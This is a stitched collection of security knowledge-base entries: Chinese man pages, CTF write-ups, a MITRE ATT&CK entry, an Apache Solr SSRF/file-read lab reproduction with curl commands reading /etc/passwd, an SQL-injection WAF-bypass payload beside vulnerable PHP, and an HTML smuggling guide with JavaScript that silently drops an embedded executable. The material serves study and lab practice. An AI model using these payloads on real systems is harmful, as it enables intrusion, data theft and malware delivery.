"http://" 为前缀的字符串, 当 .B mpg123 识别到这个前缀, 它会尝试开启一个 到相应服务器的连接, 接着获取相应的文件并进行解码播放. .P 很多时候, 从WWW缓存, 或所谓的网络代理比直接从服务器更容易获取文件. 为利 用这种便利, .B mpg123 会依次检查 .BR MP3_HTTP_PROXY ", "http_proxy "和" HTTP_PROXY, 这三个环境变量是否被设置, 并将第一个被设置的变量的值作为指定的代理. 如 果你需要自己指定另外的代理, 可以使用 .B \-p 命令行选项 (请看"选项"小节). 使用 .B "\-p none" 选项将不使用任何代理而直接连接服务器, 即使前面所述的三个 变量被设置. .P 值得注意的是, 为了能从一个WWW服务器获取并流畅地播放MPEG音频文件, 必须有 足够快的网络连接. 例如, 为了能播放速率为128kbit/s的MPEG文件, 所需的 网络带宽至少应该是128kbit/s加上网络协 议本身的传输开销. 如果网络常发生 短时中断, 可以试试用 .B \-b 选项指定一个缓冲区. 如果你所在的网络根本无 法达到实时传输MPEG音频文件所需的带宽, 就只好使用 .BR lynx (1) 之类的软件先将 文件下载到本地硬盘上再进行播放了. .P 如果服务器要求认证, 可以使用 .BR "\-u auth" 选项(请看"选项"小节)指定用户名和密 码. .SH 中断 任何时候按Ctrl-C键都能中断 .B mpg123 的运行. 如果有多个文件在播放, Ctrl-C 会终止当前文件的播放并 开始播放下一个文件, 这种情况下, 如果你想终止整 个程序的运行, 必须连按两次Ctrl-C (在约一秒钟之内). .P 注意, 按了Ctrl-C之后声音也许不会马上消失, 这是因为系统的音频设备缓冲了 一部分数据. 这种延迟随系统不同而不同, 但通常都不超过1到2秒. .SH 相关说明 .BR lynx (1), .BR sox (1), .BR intro (1) .SH 注意 MPEG音频解码, 特别是Layer-3的解码, 需要CPU进行大量的运算. 为能达到实时 解码, 你的计算机至少应该配备Pentium, Alpha, SuperSparc或性能相当的处 理器. 同时你可以使用 .B -singlemix 选项进行单声道解码, 对Layer-3, 这多少 能减少一点CPU负荷. 此外你也可以考虑使用 .BR \-2 " 和 " \-4 选项. .P 如果这些方法都不奏效, 试试用 .B \-s 选项将解码结果送到标准输出上并将其定向 到一个文件中, 然后再用适当的工具播放这个文件. 你也许会用到 .BR sox (1) 这个 工具, 它能将文件转换成你的音频播放器所用的格式. .P 还有一点就是 .B mpg123 总是输出16比特的立体声数据(如果指定 .BR \-0 "或" \-1 选项中 的一个, 立体声两个声道的数据是相同的). 如果系统硬件要求其它格式, 比如8 比特的单声道的数据, 同样可以使用 .BR sox (1) 进行转化. .P 如果你的系统本身足够快, 能够进行实时解码, 只是在系统负荷较重时(如定时任 务, 用户远程登录或启动`大'程序等)出现停顿, 你应该用 .B \-b 选项指定一个不小 于1000K字节的缓冲区. .SH BUGS .TP 已知的BUG和局限性: .br MPEG-2, Layer-1和-2未经 测试. 可能不能工作.(Layer-3应该能工作.) .br 不提供对自由格式的音频流的支持. .br 对Layer-1的支持未经 严格测试. .br 未进行CRC错误校验. .br 没有对DEC Digital Unix, Ultrix 和 IBM AIX平台上的音频硬件提供支 持, 因此在这些平台上必须使用 .B \-s 选项. .SH 作者 .TP 主要作者: .br Michael Hipp <hippm@informatik.uni-tuebingen.de> .TP 使用了下面的代码或借鉴了其中的思想: .br MPEG Software Simulation Group (Base package) .br Philipp Knirsch <phil@mpik-tueb.mpg.de> (DCT36/manual unroll) .br Tobias Bading <bading@cs.tu-berlin.de> (subband synthesis) .br Jeff Tsay <ctsay@pasteur.eecs.berkeley.edu> (DCT36) .br Thomas Woerner (SGI Audio) .br Damien Clermonte <clermond@esiee.fr> (HP-UX audio fixes) .br Oliver Fromme <oliver.fromme@heim3.tu-clausthal.de> .P 网络参考资料: http://www.sfs.nphil.uni-tuebingen.de/~hipp/mpg123.html .br http://www.heim3.tu-clausthal.de/~olli/mpg123/ .br (包含关于mpg123邮件组的信息) .P 在此获取最新版本: .br http://ftp.tu-clausthal.de/pub/unix/audio/mpg123 .SH "[中文版维护人]" linuxipy <groove@ustc.edu> .SH "[中文版最新更新]" 2004/2/29 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Rot13 (crypto 100) ###ENG [PL](#pl-version) We get `3RG{hv1g_f0h_1g_b0h_g0_V0h}` as ciphertext and N=11. It looks like some substitution cipher working only on letters, so we assume a caesar. So after running caesar solver on this we get the flag `3DS{th1s_r0t_1s_n0t_s0_H0t}` for shift 11. ###PL version Dostajemy ciphertext `3RG{hv1g_f0h_1g_b0h_g0_V0h}` i N=11. Wygląda to jak szyfr podstawieniowy działający tylko dla liter, więc założyliśmy cezara. Więc po uruchomieniu solvera dla cezara dostajemy flagę `3DS{th1s_r0t_1s_n0t_s0_H0t}` dla shiftu 11.
sec-knowleage
##Connect the server (Web/Network, 100p) ``` login.pwn.seccon.jp:10000 ``` ###PL [ENG](#eng-version) Po połączeniu się z serwerem za pomocą nc dostajemy: ![](conection.png) Wpisanie dowolnego loginu także nie daje żadnych efektów. Próbowaliśmy podejść do tego zadania z różnych stron, bez efektów. W końcu uznaliśmy, że skoro zadanie wspomina o wolnym połączeniu to może spróbujemy ataku czasowego albo próby wyczerpania wątków serwera. Jednak w trakcie pisania skryptu zauważyliśmy dość dziwny wynik: ``` b'CONNECT 300\r\n\r\nWelcome to SECCON server.\r\n\r\nThe server is connected via slow dial-up connection.\r\nPlease be patient, and do not brute-force.\r\nS\x08 \x08E\x08 \x08C\x08 \x08C\x08 \x08O\x08 \x08N\x08 \x08{\x08 \x08S\x08 \x08o\x08 \x08m\x08 \x08e\x08 \x08t\x08 \x08i\x08 \x08m\x08 \x08e\x08 \x08s\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08s\x08 \x08e\x08 \x08e\x08 \x08_\x08 \x08i\x08 \x08s\x08 \x08_\x08 \x08N\x08 \x08O\x08 \x08T\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08g\x08 \x08e\x08 \x08t\x08 \x08}\x08 \x08\r\nlogin: ' ``` Naszą uwagę zwróciły niepiśmienne znaki o numerze ascii 8, czyli backspace. Otóż serwer wypisywał flagę, ale było to niewidoczne w konsoli. `SECCON{Sometimes_what_you_see_is_NOT_what_you_get}` ### ENG version After connecting with nc we get: ![](conection.png) Using any login doesn't help us moving forward with the task. We tried different approaches but to no avail. Finally we decided that, since the task mentions and weak slow connection, we could try a timing attack or try to exhaust server threads. However, while writing a script we noticed a strange data coming from server: ``` b'CONNECT 300\r\n\r\nWelcome to SECCON server.\r\n\r\nThe server is connected via slow dial-up connection.\r\nPlease be patient, and do not brute-force.\r\nS\x08 \x08E\x08 \x08C\x08 \x08C\x08 \x08O\x08 \x08N\x08 \x08{\x08 \x08S\x08 \x08o\x08 \x08m\x08 \x08e\x08 \x08t\x08 \x08i\x08 \x08m\x08 \x08e\x08 \x08s\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08s\x08 \x08e\x08 \x08e\x08 \x08_\x08 \x08i\x08 \x08s\x08 \x08_\x08 \x08N\x08 \x08O\x08 \x08T\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08g\x08 \x08e\x08 \x08t\x08 \x08}\x08 \x08\r\nlogin: ' ``` We focused on the acii characters number 8 - backspace. The server was printing a flag but we simply didn't see that in the console. `SECCON{Sometimes_what_you_see_is_NOT_what_you_get}`
sec-knowleage
# Apache Solr RemoteStreaming 文件读取与SSRF漏洞 Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。 参考链接: - https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ ## 漏洞环境 执行如下命令启动solr 8.8.1: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8983`即可查看Apache Solr后台。 ## 漏洞复现 首先,访问`http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json`获取数据库名: ![](1.png) 发送如下数据包,修改数据库`demo`的配置,开启`RemoteStreaming`: ``` curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://your-ip:8983/solr/demo/config' ``` ![](2.png) 再通过`stream.url`读取任意文件: ``` curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd' ``` ![](3.png)
sec-knowleage
# Real World CTF Finals 2018 Team: c7f.m0d3, msm, shalom, sasza, gorbak25, cytadela8, des ### Table of contents * [Flaglab](flaglab)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: concat.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: concat.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH concat 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME concat \- 把列表连接(join)在一起 .SH "总览 SYNOPSIS" \fBconcat\fI \fR?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令把每个参数都作为一个列表并把他们串联(concatenate)成一个单一的列表。它还去除在 \fIarg\fR 中的前导和尾随的空格并在 \fIarg \fR之间添加一个单一的分隔符空格。它允许任何数目的参数。例如,命令 .CS \fBconcat a b {c d e} {f {g h}}\fR .CE 将返回 .CS \fBa b c d e f {g h}\fR .CE 作为结果。 .PP 如果没有提供 \fIarg\fRs,结果是一个空串。 .SH "参见 SEE ALSO" append(n), eval(n) .SH "关键字 KEYWORDS" concatenate, join, lists .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/04 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# HTML Smuggling ## Summary - [HTML Smuggling](#html-smuggling) - [Summary](#summary) - [Description](#description) - [Executable Storage](#executable-storage) ## Description HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file. ## Executable storage We can store our payload in a Blob object => JS: `var blob = new Blob([data], {type: 'octet/stream'});` To perform the download, we need to create an Object Url => JS: `var url = window.URL.createObjectURL(blob);` With those two elements, we can create with Javascript our \<a> tag which will be used to download our malicious file: ```Javascript var a = document.createElement('a'); document.body.appendChild(a); a.style = 'display: none'; var url = window.URL.createObjectURL(blob); a.href = url; a.download = fileName; a.click(); window.URL.revokeObjectURL(url); ``` To store ou payload, we use base64 encoding: ```Javascript function base64ToArrayBuffer(base64) { var binary_string = window.atob(base64); var len = binary_string.length; var bytes = new Uint8Array( len ); for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } return bytes.buffer; } var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA... var data = base64ToArrayBuffer(file); var blob = new Blob([data], {type: 'octet/stream'}); var fileName = 'NotAMalware.exe'; ```
sec-knowleage
import numpy as np import binascii from keras import * from keras.layers import * from keras.callbacks import ModelCheckpoint, Callback from PIL import Image import keras x_train = np.load("X.npy") y_train = np.load("y.npy") flag = np.load("flag.npy") print(x_train) print(x_train.shape) print(y_train.shape) print(flag.shape) img = Image.fromarray(flag[0], 'RGB') #img.save('my.png') #img.show() flag = flag.astype('float32') flag /= 255 batch_size = 128 num_classes = 2 epochs = 24 # input image dimensions img_rows, img_cols = 50, 50 input_shape = (img_rows, img_cols, 3) x_train = x_train.astype('float32') x_train /= 255 print('x_train shape:', x_train.shape) print(x_train.shape[0], 'train samples') # convert class vectors to binary class matrices y_train = keras.utils.to_categorical(y_train, num_classes) model = Sequential() model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=input_shape)) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(num_classes, activation='softmax')) filepath="weights-improvement-{epoch:02d}-{loss:.2f}.hdf5" checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=False, mode='max') class CheckFlag(Callback): def __init__(self): super(CheckFlag, self).__init__() def on_epoch_end(self, epoch, logs=None): out = model.predict(flag) z = [] for a in out: z.append(np.argmax(a)) o = "".join([str(int(x)) for x in z]) l = hex(int(o, 2)).replace("L","").replace("l","")[2:] print(l) f = binascii.unhexlify(l) print(f) o = "".join([str(1-int(x)) for x in z]) l = hex(int(o, 2)).replace("L","").replace("l","")[2:] print(l) f = binascii.unhexlify(l) print(f) callbacks_list = [checkpoint, CheckFlag()] model.compile(loss=keras.losses.categorical_crossentropy, optimizer='adam', metrics=['accuracy']) model.fit(x_train, y_train, batch_size=batch_size, callbacks=callbacks_list, epochs=epochs, verbose=1) out = model.predict(flag) print(np.argmax(out)) print(out)
sec-knowleage
# CB1 Crypto, 50 points ## Description > We picked up a new numbers station that's been active in the shortwave bands. We need to figure out how to crack his code. > > Here's an example file, crack the cipher and send us the plaintext message. > > NOTE: NON-Standard Flag Format A WAV file was attached. ## Solution We listen to the file and hear the speaker spell out the following text using [NATO phonetic alphabet](https://en.wikipedia.org/wiki/NATO_phonetic_alphabet): > hkcgxkznkojkyulsgxin It's a total overkill, but the following script will try all ROT options and output the best guess for the solution, based on frequency analysis: ```python from collections import namedtuple from pprint import pprint import argparse import string import math import sys class Rot(object): _ROT47_FROM = ord("!") _ROT47_TO = ord("~") ROT47_LENGTH = _ROT47_TO - _ROT47_FROM + 1 ROT_LENGTH = len(string.ascii_lowercase) @classmethod def rot_n(cls, n, input_str): translation = str.maketrans(string.ascii_lowercase + string.ascii_uppercase, string.ascii_lowercase[n:] + string.ascii_lowercase[:n] + string.ascii_uppercase[n:] + string.ascii_uppercase[:n]) return input_str.translate(translation) @classmethod def rot47_n(cls, n, input_str): x = [] for i in range(len(input_str)): c = ord(input_str[i]) if cls._ROT47_FROM <= c <= cls._ROT47_TO: x.append(chr(cls._ROT47_FROM + ((c - cls._ROT47_FROM + n) % cls.ROT47_LENGTH))) else: x.append(input_str[i]) return ''.join(x) @classmethod def get_algorithms(cls): Rot_Algo = namedtuple("Rot_Algo", "method length name") return {cls.rot_n: Rot_Algo(cls.rot_n, cls.ROT_LENGTH, "rot_n"), cls.rot47_n: Rot_Algo(cls.rot47_n, cls.ROT47_LENGTH, "rot47_n")} Candidate = namedtuple('Candidate', 'string score key algorithm') # Letter frequencies - taken from http://en.wikipedia.org/wiki/Letter_frequency _LETTER_FREQUENCY = {'E': 12.70, 'T': 9.06, 'A': 8.17, 'O': 7.51, 'I': 6.97, 'N': 6.75, 'S': 6.33, 'H': 6.09, 'R': 5.99, 'D': 4.25, 'L': 4.03, 'C': 2.78, 'U': 2.76, 'M': 2.41, 'W': 2.36, 'F': 2.23, 'G': 2.02, 'Y': 1.97, 'P': 1.93, 'B': 1.29, 'V': 0.98, 'K': 0.77, 'J': 0.15, 'X': 0.15, 'Q': 0.10, 'Z': 0.07} # A list of common punctuation characters _COMMON_PUNCTUATION = " ,." # Default frequency for uncommon characters. # Used to apply a penalty for these characters. # Chosen based on estimation. _FREQUENCY_FOR_UNCOMMON_CHARS = 0.03 def is_str_printable(input_str): """ Returns True iff the given string consists of printable characters only. """ alphabet = string.printable + '\n' return all(x in alphabet for x in input_str) def get_score_using_chi_square(candidate, use_penalty = False): """ A scoring system based on calculating the Chi Square distance between the given string and the average letter frequencies. Optionally, can apply penalty to candidates which have uncommon characters. """ freq = _get_frequency(candidate) chi_sum = 0 for c, f in freq.items(): if c in string.ascii_uppercase: chi_sum += float((f - _LETTER_FREQUENCY[c]) ** 2) / _LETTER_FREQUENCY[c] elif use_penalty and c not in _COMMON_PUNCTUATION: chi_sum += float((f - _FREQUENCY_FOR_UNCOMMON_CHARS) ** 2) / _FREQUENCY_FOR_UNCOMMON_CHARS # Penalty for uncommon punctuation characters return chi_sum * -1 def _get_frequency(s): """ Returns a dictionary containing characters in the given string, and their frequencies. """ string = s.upper() freq = {} string_len = len(string) for c in set(string): freq[c] = 100.0 * string.count(c) / string_len return freq def print_all(algo, input_str): length = Rot.get_algorithms()[algo].length for i in range(length): candidate = algo(i, input_str) if is_str_printable(candidate): print ("{:02}: {}".format(i, candidate)) def solve_rot(input_str): candidates = [] for (algo, length, name) in Rot.get_algorithms().values(): for i in range(length): candidate = algo(i, input_str) if is_str_printable(candidate): score = get_score_using_chi_square(candidate, use_penalty = True) candidates.append(Candidate(candidate, score, i, name)) # highest score = best match if len(candidates) == 0: return None candidates.sort(key = lambda x: x.score, reverse = True) #pprint(candidates) return candidates[0] if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-v", "--verbose", help="Verbose output", action = "store_true") input_group = parser.add_mutually_exclusive_group(required = True) input_group.add_argument("-s", "--string", help="Input string for ROT algorithm", action = "store") input_group.add_argument("-i", "--infile", nargs="?", type=argparse.FileType("r"), const=sys.stdin) action_group = parser.add_mutually_exclusive_group(required = True) action_group.add_argument("-g", "--guess", help="Try all options and print best candidate", action = "store_true") action_group.add_argument("--rot_n", help="Perform ROT_n with a shift of N", action = "store", nargs='?', const="all", metavar="N") action_group.add_argument("--rot47_n", help="Perform ROT47_n with a shift of N", action = "store", nargs='?', const="all", metavar="N") args = parser.parse_args() if args.string: in_string = args.string else: in_string = args.infile.read().rstrip() if args.rot_n == "all": print_all(Rot.rot_n, in_string) elif args.rot_n: if not args.rot_n.isdigit(): parser.error("Error: N must be a positive number") print (Rot.rot_n(int(args.rot_n), in_string)) elif args.rot47_n == "all": print_all(Rot.rot47_n, in_string) elif args.rot47_n: if not args.rot47_n.isdigit(): parser.error("Error: N must be a positive number") print (Rot.rot47_n(int(args.rot47_n), in_string)) elif args.guess: sol = solve_rot(in_string) if sol is not None: print (sol.string) if args.verbose: print ("Key: {}".format(sol.key)) print ("Algorithm: {}".format(sol.algorithm)) else: print ("Error: Could not find solution") ``` Output: ```console root@kali:/media/sf_CTFs/sunshine/CB1# python3 rot.py -g -s "hkcgxkznkojkyulsgxin" bewaretheidesofmarch ``` The flag: bewaretheidesofmarch
sec-knowleage
# T1521-标准加密协议 ## 来自ATT&CK描述 攻击者可以明确地使用已知的加密算法来隐藏命令和控制流量,而不是依赖通信协议提供的任何固有保护。尽管使用了加密算法,但如果必要的密钥在恶意软件样本或配置文件中编码生成,这些容易受到逆向分析工程的追踪。 ## 缓解措施 这种类型的攻击技术不容易被预防控制所缓解,因为它是基于对系统功能的滥用。 ## 检测 由于数据加密是许多合法应用程序的常见做法,并使用标准的编程语言、特定的API,为命令和控制通信加密数据,对用户来说是无法察觉的。 ## 参考推荐 MITRE-ATT&CK-T1521 <https://attack.mitre.org/techniques/T1521>
sec-knowleage
rexec === 远程执行Linux系统下命令 ## 补充说明 **rexec命令** 用于在指定的远程Linux系统主机上执行命令,向远程rexec服务器发出执行命令的请求。 rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。 ### 语法 ```shell rexec(选项)(参数) ``` ### 选项 ```shell -a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程; -l<用户名>:指定连接远程rexec服务器的用户名; -p<密码>:指定连接远程rexec服务器的密码; -n:明确地提示输入用户名和密码。 ``` ### 参数 * 远程主机:指定远程主机(ip地址或主机名); * 命令:指定需要在远程主机上执行的命令。 ### 实例 要在一个远程主机上执行date命令,输入: ```shell rexec host1 date ``` date命令的输出现在显示在本地系统上。本示例中,在本地主机上的`$HOME/.netrc`文件包含远程主机上有效的用户名和密码。如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上。 要重设自动登录功能并执行远程主机上的date命令,输入: ```shell rexec -nhost1 date ``` 出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上。 列出远程主机上另一个用户的目录,输入: ```shell rexec host1 ls -l /home/karen ``` 在远程主机host1上的karen 用户的目录列表显示在本地系统上。 如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。
sec-knowleage
# Hard login Category: Web ## Description > Part 2 of Imperva's challenge > > Do you know SQL? Can you think outside the box? Does WAF scare you? > ## Solution The [previous challenge](JS_rocks.md)'s flag has left us with a hint: `can_you_bypass_the_login`. The description talks about an SQL injection. So, let's try the basics: ``` Username: ' or 1=1 -- Password: test ``` However, the WAF blocks us: ``` Access denied Error 15 www.vulnet.zone 2020-12-17 20:03:12 UTC What happened? This request was blocked by the security rules ``` After some trial and error, we finally arrive to the following input: ``` Username: admin'||'1'='1 Password: test ``` We log into a bug bounty platform and get the flag: `cstechnion{the_company_likes_cookies}`. The flag is a hint for the [next challenge](JS_and_HTML_are_best_friends.md). Bonus: One of the challenges in the series allows us to dump the source code for the website. The vulnerable code is: ```php $sql = "SELECT id, username, avatar, password FROM Users WHERE username ='".$username."' AND password = '".hash("sha512", $password)."'"; // echo $sql; $result = mysqli_query($conn,$sql); if(mysqli_num_rows($result)!=0) { session_start(); // Store data in session variables $value = $result->fetch_array(MYSQLI_ASSOC); $_SESSION["loggedin"] = true; $_SESSION["id"] = $value["id"]; $_SESSION["username"] = $username; $_SESSION["avatar"] = $value["avatar"]; if (preg_match("/['\"|&(`]/i", $username)){ $_SESSION["auth_bypass_flag"] = "cstechnion{the_company_likes_cookies}"; } ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ABORT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ABORT \- 退出当前事务 .SH SYNOPSIS .sp .nf ABORT [ WORK | TRANSACTION ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBABORT\fR 回卷当前事务并且废弃所有当前事务中做的更新。 这个命令和 SQL 命令 ROLLBACK [\fBrollback\fR(7)], 的行为完全一样, 只是由于历史原因而保留下来。 .SH "PARAMETERS 参数" .TP \fBWORK\fR .TP \fBTRANSACTION\fR 可选的关键字,它们没有什么影响。 .SH "NOTES 注意" .PP 使用 COMMIT [\fBcommit\fR(7)] to 成功地中止一个事务。 .PP 如果不在事务内部发出 ABORT 不会有问题,但是会产生一个警告信息。 .SH "EXAMPLES 例子" .PP 退出全部变更: .sp .nf ABORT; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 此命令是 PostgreSQL 基于历史原因做的扩展。 ROLLBACK 是 SQL 中等价的命令。 .SH "SEE ALSO 参见" BEGIN [\fBbegin\fR(7)], COMMIT [\fBcommit\fR(l)], ROLLBACK [\fBrollback\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
